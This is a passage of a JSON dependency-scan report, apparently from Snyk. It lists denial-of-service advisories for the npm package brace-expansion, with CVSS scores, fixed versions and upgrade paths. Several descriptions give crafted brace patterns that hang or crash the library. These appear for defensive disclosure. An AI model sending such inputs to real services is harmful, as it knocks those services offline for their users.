"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ 